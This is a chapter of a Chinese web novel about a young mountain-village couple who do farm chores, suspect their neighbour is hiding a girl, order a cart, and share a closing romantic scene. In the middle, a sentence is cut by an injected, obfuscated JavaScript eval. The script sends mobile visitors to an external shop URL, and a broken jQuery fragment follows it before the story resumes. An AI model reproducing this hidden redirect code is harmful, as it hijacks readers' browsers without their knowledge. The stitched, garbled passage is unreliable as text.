等陈江带着一身寒气回来,已经是后半夜了。
开锁进院,将工具放好后冲澡盥洗,进屋瞅见引线睡的香甜,连姿势都还是自己走时的那个,顿时有点愧疚,看来真的是累极了。
第二日一早引线被陈江摇醒,让他去看看昨夜抓的两只野鸡。
引线一听他们昨夜居然还进过山,顿时瞪大了眼睛,“什么时候回来的?”她一点印象也无。
陈江起身穿衣裳,也让她穿衣,“吃过饭我和虎子再去打些柴回来,顺带看看有无合适的树来做车板,早些将车弄好,下山去爹那边和进城里都方便些。”
引线也正有此意,早点弄好,进城说走就走,也不必之前那般麻烦。
那两只野鸡比此前看到的任何一只都要毛色绚丽,引线两眼放光,“只怕要卖好几两银子!”
“不止!”陈江淘米洗菜,手里活不停,口里也没忘跟蹲在鸡笼跟前的媳妇说话,极有耐心,“到冬日里这东西就值钱,城里那些富绅官家子弟好走马斗鸡,还斗鸟,如今就时兴谁家有毛色鲜亮尾羽细长的野鸡。另外有的富贵人家用野鸡翎子制成羽扇摆件,还有人绣在衣裳上,装在首饰上,碰上个阔主或是急需的皮毛铺,还能多卖些钱!”
引线笑得开心,将两只野鸡当宝贝放进了杂房里,放了老菜叶和谷糠,静等着进城的时候好换成钱。
吃饭的时候,石虎一直没现身,陈江隔着墙头张望,见门紧闭着,就高声喊他。
好半晌才见石虎从另一间屋子里出来。
“你怎么睡在那个屋里了?”陈江诧异,“我记得那屋里啥也没有,难道你搬过去了?”
石虎捏手臂的动作一下顿住,摇头道:“从前睡习惯了军营里的地床,现在睡木床一下睡不习惯。”
陈江虽然有点不信,但看他不想多说,也就不去多问。
吃过饭后,两人进山去采木砍柴,引线也不想继续睡了,她带上背篓去了地里摘萝卜,三只狗一如既往跟在后头。
上次用于浅试的酱萝卜很成功,但只有一小坛,给姐姐分了大半去,其余的这些天也吃的差不多,有了经验,心里也有了底,她打算这次多做两坛。
采萝卜,洗萝卜,切萝卜条,撒粗盐揉搓。
将处理好的萝卜放到一旁,接着拿出石窝捣料。
石杵的响动不小,好在引线常年帮家里干活,力气足,捣了半晌除了手臂有点酸疼,倒还坚持得住。
稍许歇时,却猛然听到隔壁石虎住的屋子里传来一声响动。
她确定自己听到了,因谷子也跟着站了起来警觉。
屋里有人。
引线立刻想到了贼。
还真是胆大包天,青天白日都敢来偷!
不过有有点困惑。
不对啊,前段时间自家杀野猪又大鱼大肉待工,如今还买了大黑驴,要偷也该是偷她家才对,相比之下石虎家里除了一张床一张桌啥也没有,有什么好偷的?
可想归想,动静是真的。
她不敢松懈,也不敢放着不理会,毕竟一墙之隔,要真是单个贼人,她一人加上谷子少说也能搏一搏,可要是两个人以上那可就糟了。
她小心凑到墙边踮脚张望,想看看隔壁的情形,但院墙修的比她高,只有陈江那样的个头能看到,她什么也看不着。
心里七上八下,引线决定搭个凳子看一眼,也好安心些。
说干就干,等她爬上墙头,就见隔壁两间小屋的左手那间,里头似乎有个人影在窗户前的缝隙晃了晃,这远看是浅色衣料,身形则像是个姑娘……就是不太真切。
这下不但安不了心,还勾起了引线的好奇心。
只不过隔壁门被石虎锁上,墙太高,她不好翻进去,只能想着等他们回来,再和陈江提一提,看要怎么问。
好不容易熬到了下晌,两名汉子各背着一背比人高的柴禾回来,都是粗壮的松树干木,拿回来等晒干后一劈几块,就够做好几顿饭了。
除此之外,陈江手里还提着一提捆扎好的冬笋,虽然个头不大,却都有她小臂长,正是嫩的时候。
引线迎上去接了他手里的笋,眼神暗示石虎住处那头,陈江不明所以,以为她眼睛被吹迷了,着急把背上卸下来,就要给她吹一吹。
引线被他气笑,见石虎看过来,也不敢再打眼色,只好面色如常,笑着招呼石虎放下木柴就换衣裳洗手来吃饭。
石虎卸了木柴,两人去一趟砍的柴有不小的一堆,他走了,陈江趁着身上衣裳还脏着,将木柴码放到了墙根底下,整整齐齐。
趁着石虎没过来,引线赶紧将今儿个听到的异响同他附耳说了,“你说,石虎兄弟是不是在家藏了个宝贝?”
引线见她不懂,连忙又抓着他的胳膊示意他弯腰,附耳猜测自己看到的人影是个姑娘。
陈江明白,却有点猝不及防。
在他印象中虎子就是个话不多,却很可靠的兄弟,就是跟着他去了石桥村娶亲的时候一直也没见他跟哪个姑娘说过一句话,也没听说他喜欢谁,哪里会有“宝贝”藏在家中?
可他回想早上的事,又忍不住嘀咕怀疑起来。
吃饭的时候他几次想问,偏引线屡屡打岔,而石虎又不接茬,他也就没能提问出口。
“线娘,你怎么不让我问他?你不是也想知道?”陈江终归忍不住。
引线摇摇头,“我想过了,石虎兄弟是个闷人,既然他要藏着掖着,你去戳破反而不好,不如等他自己主动跟咱们说的好。”
陈江一想,也觉得有道理,就不再想着问这事。
几日都如今日一样,依旧和石虎出去砍柴、挖冬笋,有时候还能采集一些野生的蒜子,回来后就查看兔子窝棚和驴棚还有什么要改动的地方,敲敲补补,将家里的零散活都一点点做起来,渐渐的小院儿也像个规整的样子了,到处都井井有条清清爽爽。
引线留心,发现了灶房里总会时不时丢一些吃食,比如今日少一个蒸饼,明日丢两个鸡蛋,更别提往日没事就爱往山里头钻的人近来几日都好像变懒了,成日
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17793143|205343||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
关着门不出去。
对此,小夫妻心里都有了数,夜里商量还是不揭穿他,等他自己愿意的时候再说。
空闲时候陈江下山去大哥家拉了些谷草和麦秆,又收集了些红薯藤菜叶之类的。
另外加上部分米糠,又去之前喜宴采买过豆腐的人家要了一些豆渣,混合着喂养比单喂草更好。
从前就是这么看亲爹料理驴子的吃食,爹说,对家里的牲畜好,才能得好回报,如今不用人提醒,他也照着学。
这期间,他在山里行走多日,终于看好一棵榆木,但考虑了下,自己放树做车固然省钱,但冬天木材不容易放干,紧着用做好了倒是能用,但过不多久就会翘缝,板子松动,得不偿失。
思来想去,还是托了大哥打听附近几个村里有无木匠,木匠手里一般都会有放了一年甚至两三年的木材,虽说价格比自己做高一些,但耐用。
兄弟俩的亲爹就是木匠,虽然没人继承手艺,但里头的门路和门道陈河还是清楚,很快打听到了一户好手艺的木匠,就住在吴村后山。
兄弟俩去了木匠家,挑好木料,确定好板车的样式,双车轮,带木板顶,定下工钱,约定六日后直接带着驴来拉回去,全程下来只用了半日就搞定了。
“虽说连带木料花了一两半,可这种什么都不用管的感觉还真不错。”陈江感叹。
引线倒是没觉得心疼,毕竟卖驴的人当时就让了价,且他这么着急,一是为了下山或是去城里不用走路,二是为了明年开春的活计做准备,都是为了家里的事,没什么好说的。
再说清塘累了一月,与其费力他自己做,不如给木匠,一番思索下来,她觉得这钱花得值。
天黑后,两人躺在床上说着话,将回叶家的日子定在冬至那天,到时候车也装好了,加上这段日子她晒了不少的笋干,酱萝卜又腌好,带回去给爹和小弟,也请三阿婆帮着提提意见。
这几天陈江都没烦扰她,加上除了做几顿饭,洗碗洗衣、扫兔子屎、给大黑驴喂料扫驴棚,都是陈江一个人包圆了,一点怨言也没有,着实让引线好好休息了一番。
家里的事地里的活说也说完了,引线正迷迷瞪瞪时,感觉有只粗糙的大手摸上了她的腰,还意欲往上走。
引线牢牢按住,“别闹了,睡觉吧。”
谁知他没吭声,反而默默地凑近,靠了她了一下,引线只感觉那地方烧的滚烫,脸瞬间红了,还好吹了灯看不见。
“你这人……”她想说,你这人怎么看上去老实,一到夜里就变了个人似得。
但她后面的话没说出来,陈江已经像个山里行走的猎手,精准地捕捉到了她的唇瓣,将那些嗔怪的话都悉数吃进了腹中。
气喘吁吁之下,关于那两日的荒唐和肆意都如奔腾的洪水灌进引线的脑子里,浪太大,撞得她没精力思考太多。
正是这个愣神的关口,某些人已经得逞了。
屋里红被翻浪,旖旎风光,屋外则静悄悄的,只有风知道这山中小屋里发生了什么。